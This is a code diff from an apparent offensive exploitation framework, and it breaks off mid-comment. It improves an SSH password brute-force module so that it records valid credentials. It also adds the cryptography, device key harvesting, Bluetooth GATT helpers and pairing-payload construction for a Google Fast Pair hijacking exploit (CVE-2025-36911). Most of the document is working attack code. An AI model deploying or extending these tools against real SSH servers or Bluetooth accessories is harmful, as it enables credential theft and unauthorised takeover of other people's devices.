let usernames = load_lines(&username_wordlist)?;
let passwords = load_lines(&password_wordlist)?;
+32 -6
View File
@@ -119,7 +119,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
@@ -143,7 +143,20 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
}
}
}).await?;
let outcome = ModuleOutcome::ok();
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid SSH credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "ssh",
"port": port,
})),
});
}
return Ok(outcome);
}
@@ -206,7 +219,8 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(cfg_prompt_output_file("output_file", "Output file", "ssh_brute_results.txt").await?)
let default_name = format!("ssh_brute_results_{}.txt", target.replace(['/', ':', '.', '[', ']', '\\'], "_"));
Some(cfg_prompt_output_file("output_file", "Output file", &default_name).await?)
} else {
None
};
@@ -419,11 +433,23 @@ async fn try_ssh_login(
sess.handshake()
.context("SSH handshake failed")?;
sess.userauth_password(&user_owned, &pass_owned)
.context("Authentication failed")?;
// A rejected password is a *definitive* failed login, not a
// retryable transport error. ssh2 returns Err when authentication
// is refused, so propagating it with `?` (as before) made every
// wrong password look like a connection error: it triggered
// retries/backoff, inflated the error stats, and falsely tripped
// lockout detection. Mirror ssh_spray::try_ssh_auth and report the
// rejection as Ok(false) so the engine records a clean AuthFailed.
let authed = match sess.userauth_password(&user_owned, &pass_owned) {
Ok(_) => sess.authenticated(),
Err(e) => {
tracing::trace!("SSH auth rejected: {e}");
false
}
};
if let Err(e) = sess.disconnect(None, "", None) { tracing::trace!("SSH disconnect: {e}"); }
Ok(sess.authenticated())
Ok(authed)
});
let join_result = timeout(timeout_duration + Duration::from_secs(2), handle)
-143
View File
@@ -1,143 +0,0 @@
//! WPair — Google Fast Pair exploit detection — CVE-2025-36911.
//!
//! The full attack requires hardware (Bluetooth LE adapter), btleplug
//! plumbing, and an interactive accessory pairing flow. This module
//! implements the **discovery** phase: scan for BLE advertisements with
//! Fast Pair service data (UUID 0xfe2c) and report visible accessories.
//!
//! Operators with a target MAC address can run with
//! `setg target_mac AA:BB:CC:DD:EE:FF`; otherwise the scan is open and
//! reports every Fast Pair-broadcasting device in range.
use anyhow::Result;
use std::time::Duration;
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank};
#[cfg(feature = "bluetooth")]
use btleplug::api::{Central, Manager as _, Peripheral, ScanFilter};
#[cfg(feature = "bluetooth")]
use btleplug::platform::Manager;
const FAST_PAIR_SERVICE_UUID: &str = "0000fe2c-0000-1000-8000-00805f9b34fb";
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "WPair — Fast Pair Exploit Discovery — CVE-2025-36911".to_string(),
description:
"Discovers Bluetooth Low Energy accessories advertising the Google Fast Pair \
service UUID (0xfe2c). The full hijacking flow is interactive and requires \
approving the pairing on the attacker side; this module reports visible devices \
so the operator can pick a target. Requires `bluetooth` feature."
.to_string(),
authors: vec!["rustsploit contributors".to_string()],
references: vec![
"https://nvd.nist.gov/vuln/detail/CVE-2025-36911".to_string(),
"https://whisperpair.eu/".to_string(),
],
disclosure_date: Some("2025-05-27".to_string()),
rank: ModuleRank::Excellent,
default_port: None,
}
}
#[cfg(feature = "bluetooth")]
pub async fn run(_ctx: &ModuleCtx) -> Result<ModuleOutcome> {
use uuid::Uuid;
let target_mac = crate::tenant::resolve()
.global_options()
.try_get("target_mac");
let mut outcome = ModuleOutcome::ok();
let manager = Manager::new()
.await
.map_err(|e| anyhow::anyhow!("btleplug manager: {e}"))?;
let adapters = manager
.adapters()
.await
.map_err(|e| anyhow::anyhow!("list adapters: {e}"))?;
let central = match adapters.into_iter().next() {
Some(c) => c,
None => {
crate::meprintln!("[!] No Bluetooth adapters found.");
return Ok(outcome);
}
};
let svc_uuid = Uuid::parse_str(FAST_PAIR_SERVICE_UUID).map_err(|e| {
anyhow::anyhow!("parse Fast Pair service UUID: {e}")
})?;
let filter = ScanFilter {
services: vec![svc_uuid],
};
central
.start_scan(filter)
.await
.map_err(|e| anyhow::anyhow!("start_scan: {e}"))?;
crate::mprintln!("[*] Scanning 10 s for Fast Pair advertisements...");
tokio::time::sleep(Duration::from_secs(10)).await;
let peripherals = central
.peripherals()
.await
.map_err(|e| anyhow::anyhow!("list peripherals: {e}"))?;
let mut seen = 0usize;
for p in peripherals {
let props = match p.properties().await {
Ok(Some(p)) => p,
_ => continue,
};
let mac = props.address.to_string();
if let Some(want) = target_mac.as_deref()
&& !mac.eq_ignore_ascii_case(want) {
continue;
}
let name = props
.local_name
.clone()
.unwrap_or_else(|| "(unknown)".to_string());
if props.services.contains(&svc_uuid) {
seen += 1;
crate::mprintln!(
"[+] Fast Pair device: {} ({}) RSSI {:?}",
mac,
name,
props.rssi
);
crate::utils::exploit_helper::report_vulnerable(
&mac,
0,
"CVE-2025-36911",
&format!("Fast Pair advertisement seen (name={})", name),
serde_json::json!({"mac": mac, "name": name, "rssi": props.rssi}),
"exploits/bluetooth/wpair",
)
.await;
outcome.findings.push(Finding {
target: mac.clone(),
kind: FindingKind::Vulnerable,
message: format!("Fast Pair advertisement seen (CVE-2025-36911) name={} mac={}", name, mac),
data: Some(serde_json::json!({"mac": mac, "name": name, "rssi": props.rssi})),
});
}
}
if seen == 0 {
crate::mprintln!("[-] No Fast Pair devices visible.");
}
if let Err(e) = central.stop_scan().await { eprintln!("[!] Failed to stop scan: {}", e); }
Ok(outcome)
}
#[cfg(not(feature = "bluetooth"))]
pub async fn run(_ctx: &ModuleCtx) -> Result<ModuleOutcome> {
crate::meprintln!(
"[!] wpair requires the `bluetooth` feature — rebuild with --features bluetooth."
);
Ok(ModuleOutcome::ok())
}
crate::register_native_module!(crate::module::Category::Exploits, "bluetooth/wpair", native);
@@ -0,0 +1,165 @@
//! Cryptographic primitives for the Google Fast Pair Key-Based Pairing
//! handshake (CVE-2025-36911 / WhisperPair, KU Leuven COSIC).
//!
//! Per the Fast Pair specification (Paper §3.3.2):
//! 1. The Seeker generates an ephemeral secp256r1 keypair.
//! 2. It performs ECDH against the Provider's **Anti-Spoofing public key**
//! (published per model ID by Google to Seekers).
//! 3. The 16-byte AES key is `K = SHA-256(z)[0..16]`, where `z` is the
//! X-coordinate of the shared point.
//! 4. The 16-byte Key-Based Pairing request is AES-128-ECB encrypted with K
//! and concatenated with the raw 64-byte ephemeral public key.
//!
//! The AES-128-ECB single-block primitive mirrors the idiom already used in
//! `src/modules/exploits/routers/zte/zte_zxv10_h201l_rce_authenticationbypass.rs`.
use aes::Aes128;
use anyhow::{anyhow, Result};
use cipher::{Block, BlockCipherDecrypt, BlockCipherEncrypt, KeyInit};
use p256::{PublicKey, SecretKey};
use sha2::{Digest, Sha256};
/// Generate a fresh ephemeral secp256r1 secret key.
///
/// We fill 32 random bytes with the same `rand::rng()` CSPRNG the rest of the
/// crate uses (see `pq_channel.rs`) and reject the astronomically unlikely
/// case where the value is not a valid scalar in `[1, n-1]`. This avoids
/// coupling to any single `rand_core` trait-version (the project carries
/// several in its dependency tree).
pub fn generate_ephemeral() -> SecretKey {
use rand::RngExt;
loop {
let mut buf = [0u8; 32];
rand::rng().fill(&mut buf);
if let Ok(sk) = SecretKey::from_slice(&buf) {
return sk;
}
}
}
/// The seeker's ephemeral public key in raw `X || Y` form (64 bytes, no SEC1
/// `0x04` prefix) — exactly what the 80-byte Key-Based Pairing payload carries.
pub fn public_key_raw64(secret: &SecretKey) -> [u8; 64] {
use p256::elliptic_curve::sec1::ToEncodedPoint;
let encoded = secret.public_key().to_encoded_point(false); // 0x04 || X || Y
let bytes = encoded.as_bytes();
let mut out = [0u8; 64];
// Uncompressed SEC1 is always 65 bytes for P-256; slice off the prefix.
out.copy_from_slice(&bytes[1..65]);
out
}
/// Parse a Provider Anti-Spoofing public key. Accepts raw 64-byte `X || Y`
/// (the form Google distributes), 65-byte uncompressed SEC1, or 33-byte
/// compressed SEC1.
pub fn parse_provider_pubkey(bytes: &[u8]) -> Result<PublicKey> {
let parsed = match bytes.len() {
64 => {
let mut sec1 = Vec::with_capacity(65);
sec1.push(0x04);
sec1.extend_from_slice(bytes);
PublicKey::from_sec1_bytes(&sec1)
}
_ => PublicKey::from_sec1_bytes(bytes),
};
parsed.map_err(|e| {
anyhow!(
"invalid secp256r1 anti-spoofing public key ({} bytes): {e}",
bytes.len()
)
})
}
/// Parse a base64-encoded Provider Anti-Spoofing public key (the format used
/// in the Google Nearby console and in our seed DB).
pub fn parse_provider_pubkey_b64(b64: &str) -> Result<PublicKey> {
use base64::Engine;
let raw = base64::engine::general_purpose::STANDARD
.decode(b64.trim())
.map_err(|e| anyhow!("anti-spoofing key is not valid base64: {e}"))?;
parse_provider_pubkey(&raw)
}
/// Derive the 16-byte Key-Based Pairing AES key `K = SHA-256(ECDH_x)[0..16]`.
pub fn derive_k(seeker_secret: &SecretKey, provider_pub: &PublicKey) -> [u8; 16] {
let shared =
p256::ecdh::diffie_hellman(seeker_secret.to_nonzero_scalar(), provider_pub.as_affine());
let z = shared.raw_secret_bytes(); // 32-byte X coordinate
let digest = Sha256::digest(z.as_slice());
let mut k = [0u8; 16];
k.copy_from_slice(&digest[..16]);
k
}
/// AES-128-ECB encrypt one 16-byte block.
pub fn aes128_ecb_encrypt_block(key: &[u8; 16], block: &[u8; 16]) -> Result<[u8; 16]> {
let cipher = Aes128::new_from_slice(key).map_err(|e| anyhow!("AES-128 key error: {e}"))?;
let mut b = Block::<Aes128>::from(*block);
cipher.encrypt_block(&mut b);
let mut out = [0u8; 16];
out.copy_from_slice(&b);
Ok(out)
}
/// AES-128-ECB decrypt one 16-byte block (used by the conformance / response
/// parsing paths).
pub fn aes128_ecb_decrypt_block(key: &[u8; 16], block: &[u8; 16]) -> Result<[u8; 16]> {
let cipher = Aes128::new_from_slice(key).map_err(|e| anyhow!("AES-128 key error: {e}"))?;
let mut b = Block::<Aes128>::from(*block);
cipher.decrypt_block(&mut b);
let mut out = [0u8; 16];
out.copy_from_slice(&b);
Ok(out)
}
/// AES-128 CTR exactly as Fast Pair "Additional Data" uses it (AOSP
/// `AesCtrMultipleBlockEncryption`): the keystream block for data block index
/// `i` is `AES-ECB(key, [i] || nonce(8) || 0x00*7)`. This is NOT a generic
/// incrementing-counter CTR — only byte 0 (the block index) changes per block,
/// the 8-byte nonce sits at offsets 1..9, and bytes 9..16 are zero. Encryption
/// and decryption are the same operation.
pub fn fast_pair_ctr(key: &[u8; 16], nonce: &[u8; 8], data: &[u8]) -> Result<Vec<u8>> {
let mut out = Vec::with_capacity(data.len());
for (i, chunk) in data.chunks(16).enumerate() {
let mut counter = [0u8; 16];
counter[0] = i as u8;
counter[1..9].copy_from_slice(nonce);
let keystream = aes128_ecb_encrypt_block(key, &counter)?;
for (j, byte) in chunk.iter().enumerate() {
out.push(byte ^ keystream[j]);
}
}
Ok(out)
}
/// HMAC-SHA256, implemented directly over `sha2` to avoid pulling in an extra
/// crate. Used for the Additional Data integrity tag (Fast Pair §3.3.5).
pub fn hmac_sha256(key: &[u8], msg: &[u8]) -> [u8; 32] {
const BLOCK: usize = 64;
let mut block_key = [0u8; BLOCK];
if key.len() > BLOCK {
block_key[..32].copy_from_slice(&Sha256::digest(key));
} else {
block_key[..key.len()].copy_from_slice(key);
}
let mut ipad = [0x36u8; BLOCK];
let mut opad = [0x5cu8; BLOCK];
for i in 0..BLOCK {
ipad[i] ^= block_key[i];
opad[i] ^= block_key[i];
}
let mut inner = Sha256::new();
inner.update(ipad);
inner.update(msg);
let inner_hash = inner.finalize();
let mut outer = Sha256::new();
outer.update(opad);
outer.update(inner_hash);
let mut out = [0u8; 32];
out.copy_from_slice(&outer.finalize());
out
}
+263
View File
@@ -0,0 +1,263 @@
//! Fast Pair device database and Anti-Spoofing public-key resolution.
//!
//! The model-ID → device table is the **KU Leuven COSIC WhisperPair research
//! dataset** (`model_ids.csv`, ~2,900 registered Fast Pair models with names,
//! manufacturer, device type and Find Hub tracking flag), embedded at compile
//! time and parsed lazily on first use.
//!
//! The attack needs the target model's **Anti-Spoofing public key** (secp256r1).
//! Google serves it only to registered Seekers — it is NOT in any public dataset
//! (the CSV carries names, not keys), so a key is resolved at run time:
//! 1. operator override `setg antispoofing_key <base64>` (reliable, per-target)
//! 2. Google metadata API `setg gfp_metadata_url <url-template>` (+ `gfp_api_key`)
//!
//! Detection (`testall`) needs no key — see `mod.rs`. The 256-bit Anti-Spoofing
//! *private* key is NOT brute-forceable; "harvesting" enumerates the model-ID
//! space against the metadata API to collect *public* keys.
use std::collections::HashMap;
use std::sync::OnceLock;
use std::time::Duration;
use anyhow::{anyhow, Result};
use p256::PublicKey;
use super::crypto;
/// The COSIC WhisperPair model-ID dataset, embedded at compile time.
static MODEL_DB_CSV: &str = include_str!("model_ids.csv");
/// A registered Fast Pair Provider model (from the research dataset). The model
/// ID itself is the map key, so it is not duplicated here.
#[derive(Debug, Clone)]
pub struct KnownDevice {
pub name: String,
pub manufacturer: String,
pub device_type: String,
pub supports_tracking: bool,
}
/// Lazily-parsed model-ID → device map (built once on first lookup).
fn device_map() -> &'static HashMap<u32, KnownDevice> {
static MAP: OnceLock<HashMap<u32, KnownDevice>> = OnceLock::new();
MAP.get_or_init(|| {
let mut map = HashMap::new();
for line in MODEL_DB_CSV.lines().skip(1) {
if line.trim().is_empty() {
continue;
}
let cols = parse_csv_line(line);
if cols.len() < 6 {
continue;
}
let Ok(model_id) = cols[0].trim().parse::<u32>() else {
continue;
};
map.insert(
model_id,
KnownDevice {
name: cols[1].trim().to_string(),
manufacturer: cols[2].trim().to_string(),
device_type: cols[3].trim().to_string(),
supports_tracking: cols[5].trim().eq_ignore_ascii_case("true"),
},
);
}
map
})
}
/// Minimal RFC-4180-style CSV line parser: comma-separated fields, optionally
/// double-quoted so a field may contain commas; `""` is an escaped quote.
fn parse_csv_line(line: &str) -> Vec<String> {
let mut fields = Vec::new();
let mut cur = String::new();
let mut in_quotes = false;
let mut chars = line.chars().peekable();
while let Some(c) = chars.next() {
match c {
'"' if in_quotes && chars.peek() == Some(&'"') => {
cur.push('"');
chars.next();
}
'"' => in_quotes = !in_quotes,
',' if !in_quotes => fields.push(std::mem::take(&mut cur)),
_ => cur.push(c),
}
}
fields.push(cur);
fields
}
/// Look up a model by its 24-bit ID.
pub fn lookup(model_id: u32) -> Option<&'static KnownDevice> {
device_map().get(&model_id)
}
/// Number of models in the embedded dataset.
pub fn device_count() -> usize {
device_map().len()
}
/// All known model IDs (used by the `harvest` sweep).
pub fn all_model_ids() -> Vec<u32> {
device_map().keys().copied().collect()
}
/// Cheap, local report of how an Anti-Spoofing key would be sourced, for the
/// `info` display. Does not fetch and does not error — `None` simply means no
/// key source is configured yet.
pub async fn key_source() -> Option<&'static str> {
let stores = crate::tenant::resolve();
let go = stores.global_options();
if go
.get("antispoofing_key")
.await
.is_some_and(|k| !k.trim().is_empty())
{
return Some("operator key");
}
if go
.get("gfp_metadata_url")
.await
.is_some_and(|u| !u.trim().is_empty())
{
return Some("metadata API");
}
None
}
/// Extract the 24-bit model ID from Fast Pair service data, but only when the
/// device is **discoverable** (service data is exactly the 3-byte model ID).
/// When not in pairing mode the advert carries an account-key filter instead
/// (leading version/flags byte), from which the model ID cannot be recovered.
pub fn model_id_from_service_data(data: &[u8]) -> Option<u32> {
if data.len() == 3 {
Some(((data[0] as u32) << 16) | ((data[1] as u32) << 8) | (data[2] as u32))
} else {
None
}
}
/// `true` when the service data is an account-key filter (device advertising
/// but NOT in pairing mode) — the prime WhisperPair "SteadyState" target.
pub fn is_account_key_filter(data: &[u8]) -> bool {
// Non-discoverable Account Key Data: leading version/flags octet (top nibble
// is the version, currently 0) followed by the filter. Length != 3 rules out
// a bare model ID.
data.len() >= 2 && data.len() != 3 && (data[0] >> 4) == 0
}
/// Resolve the Anti-Spoofing public key for a target. `model_id` may be `None`
/// (e.g. a SteadyState target whose advert has no model ID) — in that case only
/// the operator override can satisfy the request.
pub async fn resolve_antispoofing_key(model_id: Option<u32>) -> Result<PublicKey> {
let stores = crate::tenant::resolve();
let go = stores.global_options();
// 1. Operator-supplied key (the reliable per-target path).
if let Some(k) = go.get("antispoofing_key").await
&& !k.trim().is_empty()
{
return crypto::parse_provider_pubkey_b64(&k);
}
// 2. Google Nearby Devices metadata API (if configured).
if let Some(mid) = model_id
&& let Some(k) = fetch_from_metadata_api(mid).await?
{
return crypto::parse_provider_pubkey_b64(&k);
}
Err(anyhow!(
"no Anti-Spoofing public key available{}. Supply one with \
`setg antispoofing_key <base64>`, or configure the metadata API with \
`setg gfp_metadata_url <url-template>` (and `setg gfp_api_key <key>`).",
model_id
.map(|m| format!(" for model 0x{m:06X}"))
.unwrap_or_default()
))
}
/// Fetch the base64 Anti-Spoofing public key for a model from a configurable
/// metadata endpoint. Returns `Ok(None)` when the operator hasn't configured an
/// endpoint (so resolution falls through to a clear error). The URL template
/// may contain `{model_id}` (6-hex-digit upper-case) and `{api_key}`.
pub async fn fetch_from_metadata_api(model_id: u32) -> Result<Option<String>> {
let stores = crate::tenant::resolve();
let go = stores.global_options();
let template = match go.get("gfp_metadata_url").await {
Some(u) if !u.trim().is_empty() => u,
_ => return Ok(None),
};
let api_key = go.get("gfp_api_key").await.unwrap_or_default();
let url = template
.replace("{model_id}", &format!("{model_id:06X}"))
.replace("{api_key}", api_key.trim());
let client = crate::utils::network::build_http_client(Duration::from_secs(15))
.map_err(|e| anyhow!("building HTTP client for metadata fetch: {e}"))?;
let resp = client
.get(&url)
.send()
.await
.map_err(|e| anyhow!("metadata API request failed: {e}"))?;
if !resp.status().is_success() {
return Err(anyhow!(
"metadata API returned HTTP {} for model 0x{model_id:06X}",
resp.status()
));
}
let body = resp
.text()
.await
.map_err(|e| anyhow!("reading metadata API response: {e}"))?;
Ok(extract_antispoofing_key_from_response(&body))
}
/// Pull the base64 Anti-Spoofing public key out of a metadata response. Accepts
/// either a JSON object (trying the field names seen in Nearby metadata) or a
/// raw base64 body.
fn extract_antispoofing_key_from_response(body: &str) -> Option<String> {
if let Ok(json) = serde_json::from_str::<serde_json::Value>(body) {
for key in [
"anti_spoofing_public_key",
"antiSpoofingPublicKey",
"anti_spoofing_key_pair",
"publicKey",
"public_key",
] {
if let Some(v) = find_string_field(&json, key) {
return Some(v);
}
}
return None;
}
let trimmed = body.trim();
if !trimmed.is_empty() && !trimmed.contains(char::is_whitespace) {
Some(trimmed.to_string())
} else {
None
}
}
/// Recursively search a JSON value for the first string under `field`.
fn find_string_field(value: &serde_json::Value, field: &str) -> Option<String> {
match value {
serde_json::Value::Object(map) => {
if let Some(serde_json::Value::String(s)) = map.get(field) {
return Some(s.clone());
}
for v in map.values() {
if let Some(found) = find_string_field(v, field) {
return Some(found);
}
}
None
}
serde_json::Value::Array(arr) => arr.iter().find_map(|v| find_string_field(v, field)),
_ => None,
}
}
@@ -0,0 +1,147 @@
//! btleplug GATT helpers for the Fast Pair Key-Based Pairing exchange.
//!
//! Only compiled with the `bluetooth` feature. These wrap the connect /
//! discover / write / subscribe dance against a discovered peripheral; the
//! Fast Pair characteristics themselves live in `protocol.rs`.
use std::time::Duration;
use anyhow::{anyhow, Result};
use btleplug::api::{Central, Characteristic, Peripheral as _, WriteType};
use btleplug::platform::{Adapter, Peripheral};
use futures::StreamExt;
use uuid::Uuid;
/// Connect to a discovered peripheral by MAC, with retry/backoff and a
/// per-attempt timeout — BLE links are flaky, so a single attempt is not
/// production-grade. The caller must have scanned first.
pub async fn connect(central: &Adapter, mac: &str) -> Result<Peripheral> {
const ATTEMPTS: u32 = 3;
let mut last_err: Option<anyhow::Error> = None;
for attempt in 1..=ATTEMPTS {
match connect_once(central, mac).await {
Ok(p) => return Ok(p),
Err(e) => {
tracing::debug!("wpair connect attempt {attempt}/{ATTEMPTS} to {mac}: {e:#}");
last_err = Some(e);
if attempt < ATTEMPTS {
tokio::time::sleep(Duration::from_millis(400 * attempt as u64)).await;
}
}
}
}
Err(last_err.unwrap_or_else(|| anyhow!("could not connect to {mac}")))
}
/// One connect attempt: locate the peripheral, connect (bounded by a timeout),
/// and run service discovery.
async fn connect_once(central: &Adapter, mac: &str) -> Result<Peripheral> {
let peripherals = central
.peripherals()
.await
.map_err(|e| anyhow!("listing discovered peripherals: {e}"))?;
for p in peripherals {
let addr = match p.properties().await {
Ok(Some(props)) => props.address.to_string(),
Ok(None) => continue,
Err(e) => {
tracing::debug!("reading peripheral properties: {e:#}");
continue;
}
};
if !addr.eq_ignore_ascii_case(mac) {
continue;
}
let already_connected = match p.is_connected().await {
Ok(c) => c,
Err(e) => {
tracing::debug!("is_connected check on {mac} failed, assuming not connected: {e:#}");
false
}
};
if !already_connected {
tokio::time::timeout(Duration::from_secs(10), p.connect())
.await
.map_err(|e| anyhow!("connect to {mac} timed out after 10s: {e}"))?
.map_err(|e| anyhow!("connecting to {mac}: {e}"))?;
}
p.discover_services()
.await
.map_err(|e| anyhow!("discovering services on {mac}: {e}"))?;
return Ok(p);
}
Err(anyhow!(
"device {mac} not found among discovered peripherals — run `scan` first"
))
}
/// Find a characteristic by UUID on a connected peripheral.
pub fn find_characteristic(p: &Peripheral, uuid: Uuid) -> Result<Characteristic> {
p.characteristics()
.into_iter()
.find(|c| c.uuid == uuid)
.ok_or_else(|| anyhow!("characteristic {uuid} not found (not a Fast Pair provider?)"))
}
/// Write bytes to a characteristic (with or without response).
pub async fn write(p: &Peripheral, uuid: Uuid, data: &[u8], with_response: bool) -> Result<()> {
let ch = find_characteristic(p, uuid)?;
let write_type = if with_response {
WriteType::WithResponse
} else {
WriteType::WithoutResponse
};
p.write(&ch, data, write_type)
.await
.map_err(|e| anyhow!("writing {} bytes to {uuid}: {e}", data.len()))
}
/// Read a characteristic's value (e.g. the Model ID characteristic).
pub async fn read(p: &Peripheral, uuid: Uuid) -> Result<Vec<u8>> {
let ch = find_characteristic(p, uuid)?;
p.read(&ch).await.map_err(|e| anyhow!("reading {uuid}: {e}"))
}
/// Write a request and await one notification on `notify_uuid` (the Provider's
/// Key-Based Pairing response), bounded by `timeout`. `Ok(None)` = no response
/// arrived in time (the device rejected or ignored the write).
pub async fn write_and_await(
p: &Peripheral,
write_uuid: Uuid,
data: &[u8],
notify_uuid: Uuid,
timeout: Duration,
) -> Result<Option<Vec<u8>>> {
let notify_ch = find_characteristic(p, notify_uuid)?;
p.subscribe(&notify_ch)
.await
.map_err(|e| anyhow!("subscribing to {notify_uuid}: {e}"))?;
let mut stream = p
.notifications()
.await
.map_err(|e| anyhow!("opening notification stream: {e}"))?;
write(p, write_uuid, data, true).await?;
let wait = async {
while let Some(n) = stream.next().await {
if n.uuid == notify_uuid {
return Some(n.value);
}
}
None
};
match tokio::time::timeout(timeout, wait).await {
Ok(value) => Ok(value),
// The only `Err` is `tokio::time::error::Elapsed` (the deadline passed),
// which is a valid "no response in time" outcome, not an operation error.
Err(_elapsed) => Ok(None),
}
}
/// Best-effort disconnect — errors are non-fatal (the device may already be gone).
pub async fn disconnect(p: &Peripheral) {
if let Err(e) = p.disconnect().await {
tracing::debug!("wpair disconnect failed: {e:#}");
}
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,181 @@
//! Google Fast Pair Key-Based Pairing protocol message construction
//! (CVE-2025-36911 / WhisperPair).
//!
//! Verified against the Fast Pair specification and the public reference PoCs:
//! - Key-Based Pairing request = 16-byte block `[type][flags][addr 6B][salt 8B]`,
//! AES-128-ECB encrypted with `K`.
//! - The 80-byte payload written to the KBP characteristic is
//! `E_K(request)[16] || seeker_public_key[64]`.
//! - Passkey block `[0x02][passkey 3B BE][salt 12B]`, AES-128-ECB encrypted.
//! - Account key block `[0x04][15 random]`, AES-128-ECB encrypted.
use anyhow::{anyhow, Result};
use uuid::Uuid;
use super::crypto;
// ---- GATT UUIDs (Fast Pair service 0xFE2C) -------------------------------
/// Fast Pair service `0000fe2c-0000-1000-8000-00805f9b34fb`.
pub const FAST_PAIR_SERVICE_UUID: Uuid = Uuid::from_u128(0x0000fe2c_0000_1000_8000_00805f9b34fb);
/// Model ID characteristic (read-only, 3-byte model ID).
pub const MODEL_ID_UUID: Uuid = Uuid::from_u128(0xfe2c1233_8366_4814_8eb0_01de32100bea);
/// Key-Based Pairing characteristic.
pub const KEY_BASED_PAIRING_UUID: Uuid = Uuid::from_u128(0xfe2c1234_8366_4814_8eb0_01de32100bea);
/// Passkey characteristic.
pub const PASSKEY_UUID: Uuid = Uuid::from_u128(0xfe2c1235_8366_4814_8eb0_01de32100bea);
/// Account Key characteristic.
pub const ACCOUNT_KEY_UUID: Uuid = Uuid::from_u128(0xfe2c1236_8366_4814_8eb0_01de32100bea);
// Note: fe2c1237 is the Firmware Revision characteristic, NOT additional data.
/// Additional Data characteristic (personalized device name, §3.3.5).
pub const ADDITIONAL_DATA_UUID: Uuid = Uuid::from_u128(0xfe2c1238_8366_4814_8eb0_01de32100bea);
// ---- Key-Based Pairing request flags (octet 1) ---------------------------
// Bit values are LSB-numbered as carried on the wire (confirmed against the
// reference PoCs and the Android client: the canonical request uses 0x11).
/// Bit 0 — request the Provider to initiate bonding.
pub const KBP_FLAG_INITIATE_BONDING: u8 = 0x01;
/// Bit 4 — request an extended response (response message type 0x02).
pub const KBP_FLAG_EXTENDED_RESPONSE: u8 = 0x10;
/// Canonical verification / exploit flags: INITIATE_BONDING | EXTENDED_RESPONSE = 0x11.
pub const KBP_FLAGS_VERIFY: u8 = KBP_FLAG_INITIATE_BONDING | KBP_FLAG_EXTENDED_RESPONSE;
// The remaining flag bits are documented for completeness / custom requests.
/// Plain Key-Based Pairing request.
#[allow(dead_code)]
pub const KBP_FLAG_NONE: u8 = 0x00;
/// Bit 1 — Seeker's BR/EDR address is present (octets 8-13).
#[allow(dead_code)]
pub const KBP_FLAG_SEEKER_ADDRESS_PRESENT: u8 = 0x02;
/// Bit 5 — subsequent pairing (device not in discoverable mode).
#[allow(dead_code)]
pub const KBP_FLAG_SUBSEQUENT_PAIRING: u8 = 0x20;
/// Bit 6 — retroactively write account key.
#[allow(dead_code)]
pub const KBP_FLAG_RETROACTIVE_ACCOUNT_KEY: u8 = 0x40;
/// Message type for a Key-Based Pairing **request**.
const MSG_TYPE_KBP_REQUEST: u8 = 0x00;
/// Message type for the Seeker's passkey block.
const MSG_TYPE_SEEKER_PASSKEY: u8 = 0x02;
/// Account-key block type marker (high nibble of the first byte).
const ACCOUNT_KEY_TYPE: u8 = 0x04;
/// Parse a Bluetooth MAC `AA:BB:CC:DD:EE:FF` (or `-` separated) into 6 bytes.
pub fn parse_mac(s: &str) -> Result<[u8; 6]> {
let parts: Vec<&str> = s.split([':', '-']).collect();
if parts.len() != 6 {
return Err(anyhow!("malformed MAC address: {s}"));
}
let mut out = [0u8; 6];
for (i, p) in parts.iter().enumerate() {
out[i] =
u8::from_str_radix(p, 16).map_err(|e| anyhow!("bad MAC octet '{p}' in {s}: {e}"))?;
}
Ok(out)
}
/// Build the 16-byte Key-Based Pairing request block (plaintext, pre-encryption).
pub fn build_kbp_request_block(provider_addr: &[u8; 6], flags: u8, salt: &[u8; 8]) -> [u8; 16] {
let mut block = [0u8; 16];
block[0] = MSG_TYPE_KBP_REQUEST;
block[1] = flags;
block[2..8].copy_from_slice(provider_addr);
block[8..16].copy_from_slice(salt);
block
}
/// Assemble the full 80-byte Key-Based Pairing payload:
/// `AES-128-ECB(K, request)[16] || seeker_public_key[64]`.
///
/// `salt` is taken as a parameter so the caller can hold and **replay** the
/// exact same bytes (the nonce-freshness conformance test, §4.3).
pub fn build_kbp_payload(
k: &[u8; 16],
provider_addr: &[u8; 6],
flags: u8,
salt: &[u8; 8],
seeker_pub64: &[u8; 64],
) -> Result<Vec<u8>> {
let block = build_kbp_request_block(provider_addr, flags, salt);
let encrypted = crypto::aes128_ecb_encrypt_block(k, &block)?;
let mut payload = Vec::with_capacity(80);
payload.extend_from_slice(&encrypted);
payload.extend_from_slice(seeker_pub64);
debug_assert_eq!(payload.len(), 80);
Ok(payload)
}
/// Generate a random 8-byte KBP salt.
pub fn random_salt8() -> [u8; 8] {
use rand::RngExt;
let mut s = [0u8; 8];
rand::rng().fill(&mut s);
s
}
/// Generate a random 6-digit passkey (`000000..=999999`).
pub fn random_passkey() -> u32 {
use rand::RngExt;
let mut b = [0u8; 4];
rand::rng().fill(&mut b);
// The modulo bias over 10^6 is negligible for a 6-digit pairing passkey.
u32::from_be_bytes(b) % 1_000_000
}
/// Build the encrypted 16-byte Seeker passkey block.
pub fn build_passkey_block(k: &[u8; 16], passkey: u32) -> Result<[u8; 16]> {
let mut block = [0u8; 16];
block[0] = MSG_TYPE_SEEKER_PASSKEY;
block[1] = (passkey >> 16) as u8;
block[2] = (passkey >> 8) as u8;
block[3] = passkey as u8;
let mut salt = [0u8; 12];
{
use rand::RngExt;
rand::rng().fill(&mut salt);
}
block[4..16].copy_from_slice(&salt);
crypto::aes128_ecb_encrypt_block(k, &block)
}
/// Build a fresh account key and its encrypted form for the Account Key
/// characteristic write. Returns `(raw_account_key, encrypted_block)`. The raw
